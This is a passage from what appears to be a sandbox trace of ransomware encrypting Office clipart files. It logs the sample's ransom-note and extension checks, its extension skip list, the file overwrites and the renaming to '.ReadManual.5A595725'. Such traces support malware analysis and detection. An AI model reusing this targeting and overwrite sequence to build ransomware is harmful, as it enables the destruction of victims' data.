lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.744] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a92) returned 0x2f0000 [0265.745] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.745] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38641348364) returned 1 [0265.745] CloseHandle (hObject=0x184) returned 1 [0265.745] SetSecurityInfo () returned 0x57 [0265.745] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.745] CloseHandle (hObject=0x194) returned 1 [0265.745] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1 [0265.745] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099198.GIF" | out: lpString1="J0099198.GIF") returned="J0099198.GIF" [0265.745] lstrcmpiW (lpString1="J0099198.GIF", lpString2="RecoveryManual.html") returned -1 [0265.745] StrStrIW (lpFirst="J0099198.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.745] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0265.745] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0265.745] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0265.745] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0265.745] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0265.745] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0265.745] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0265.745] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0265.745] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0265.745] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0265.745] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0265.745] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0265.745] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0265.745] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0265.745] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" [0265.746] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.ReadManual.5A595725" [0265.746] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.ReadManual.5A595725") returned 87 [0265.746] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38641435738) returned 1 [0265.746] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 0x20 [0265.746] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.746] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5259) returned 1 [0265.746] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x148b, lpName=0x0) returned 0x184 [0265.746] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.747] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.747] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.749] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.749] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x148b) returned 0x2f0000 [0265.749] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.749] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38641784345) returned 1 [0265.749] CloseHandle (hObject=0x184) returned 1 [0265.749] SetSecurityInfo () returned 0x57 [0265.749] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.749] CloseHandle (hObject=0x194) returned 1 [0265.749] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099199.GIF", cAlternateFileName="")) returned 1 [0265.749] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099199.GIF" | out: lpString1="J0099199.GIF") returned="J0099199.GIF" [0265.749] lstrcmpiW (lpString1="J0099199.GIF", lpString2="RecoveryManual.html") returned -1 [0265.749] StrStrIW (lpFirst="J0099199.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.749] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0265.749] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0265.750] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0265.750] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0265.750] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0265.750] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0265.750] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0265.750] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0265.750] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0265.750] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0265.750] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0265.750] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0265.750] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0265.750] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0265.750] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" [0265.750] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.ReadManual.5A595725" [0265.750] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.ReadManual.5A595725") returned 87 [0265.750] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38641875116) returned 1 [0265.750] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 0x20 [0265.750] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.750] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33975) returned 1 [0265.750] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84b7, lpName=0x0) returned 0x184 [0265.751] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.751] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.751] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.753] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.754] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x84b7) returned 0x2f0000 [0265.755] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.755] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38642351533) returned 1 [0265.755] CloseHandle (hObject=0x184) returned 1 [0265.755] SetSecurityInfo () returned 0x57 [0265.755] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.755] CloseHandle (hObject=0x194) returned 1 [0265.755] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1 [0265.755] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099200.GIF" | out: lpString1="J0099200.GIF") returned="J0099200.GIF" [0265.755] lstrcmpiW (lpString1="J0099200.GIF", lpString2="RecoveryManual.html") returned -1 [0265.755] StrStrIW (lpFirst="J0099200.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.755] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0265.755] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0265.755] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0265.755] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0265.755] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0265.755] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0265.755] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0265.755] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0265.755] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0265.755] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0265.755] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0265.755] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0265.755] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0265.755] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0265.756] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" [0265.756] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.ReadManual.5A595725" [0265.756] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.ReadManual.5A595725") returned 87 [0265.756] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38642438554) returned 1 [0265.756] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 0x20 [0265.756] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.757] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16543) returned 1 [0265.757] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x409f, lpName=0x0) returned 0x184 [0265.757] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.757] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.757] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.759] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.760] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x409f) returned 0x2f0000 [0265.760] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.760] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38642876158) returned 1 [0265.760] CloseHandle (hObject=0x184) returned 1 [0265.760] SetSecurityInfo () returned 0x57 [0265.760] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.760] CloseHandle (hObject=0x194) returned 1 [0265.760] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1 [0265.760] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099201.GIF" | out: lpString1="J0099201.GIF") returned="J0099201.GIF" [0265.760] lstrcmpiW (lpString1="J0099201.GIF", lpString2="RecoveryManual.html") returned -1 [0265.760] StrStrIW (lpFirst="J0099201.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.760] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0265.760] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0265.760] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0265.760] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0265.760] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0265.760] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0265.761] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0265.761] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0265.761] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0265.761] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0265.761] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0265.761] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0265.761] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0265.761] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0265.761] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" [0265.761] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.ReadManual.5A595725" [0265.761] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.ReadManual.5A595725") returned 87 [0265.761] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38642966788) returned 1 [0265.761] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 0x20 [0265.761] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.761] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=51401) returned 1 [0265.761] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc8c9, lpName=0x0) returned 0x184 [0265.761] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.762] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.762] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.764] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.764] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc8c9) returned 0x2f0000 [0265.765] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.766] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38643446676) returned 1 [0265.766] CloseHandle (hObject=0x184) returned 1 [0265.766] SetSecurityInfo () returned 0x57 [0265.766] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.766] CloseHandle (hObject=0x194) returned 1 [0265.766] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1 [0265.766] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099202.GIF" | out: lpString1="J0099202.GIF") returned="J0099202.GIF" [0265.766] lstrcmpiW (lpString1="J0099202.GIF", lpString2="RecoveryManual.html") returned -1 [0265.766] StrStrIW (lpFirst="J0099202.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.766] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0265.766] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0265.766] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0265.766] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0265.766] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0265.766] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0265.766] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0265.766] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0265.766] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0265.766] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0265.766] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0265.766] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0265.766] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0265.766] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0265.766] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" [0265.766] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.ReadManual.5A595725" [0265.767] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.ReadManual.5A595725") returned 87 [0265.767] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38643533960) returned 1 [0265.767] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 0x20 [0265.767] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.767] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4967) returned 1 [0265.767] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1367, lpName=0x0) returned 0x184 [0265.768] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.768] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.768] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.771] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.771] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1367) returned 0x2f0000 [0265.771] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.771] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38643974480) returned 1 [0265.771] CloseHandle (hObject=0x184) returned 1 [0265.771] SetSecurityInfo () returned 0x57 [0265.771] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.771] CloseHandle (hObject=0x194) returned 1 [0265.771] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1 [0265.771] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099203.GIF" | out: lpString1="J0099203.GIF") returned="J0099203.GIF" [0265.771] lstrcmpiW (lpString1="J0099203.GIF", lpString2="RecoveryManual.html") returned -1 [0265.771] StrStrIW (lpFirst="J0099203.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.771] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0265.771] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0265.771] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0265.771] 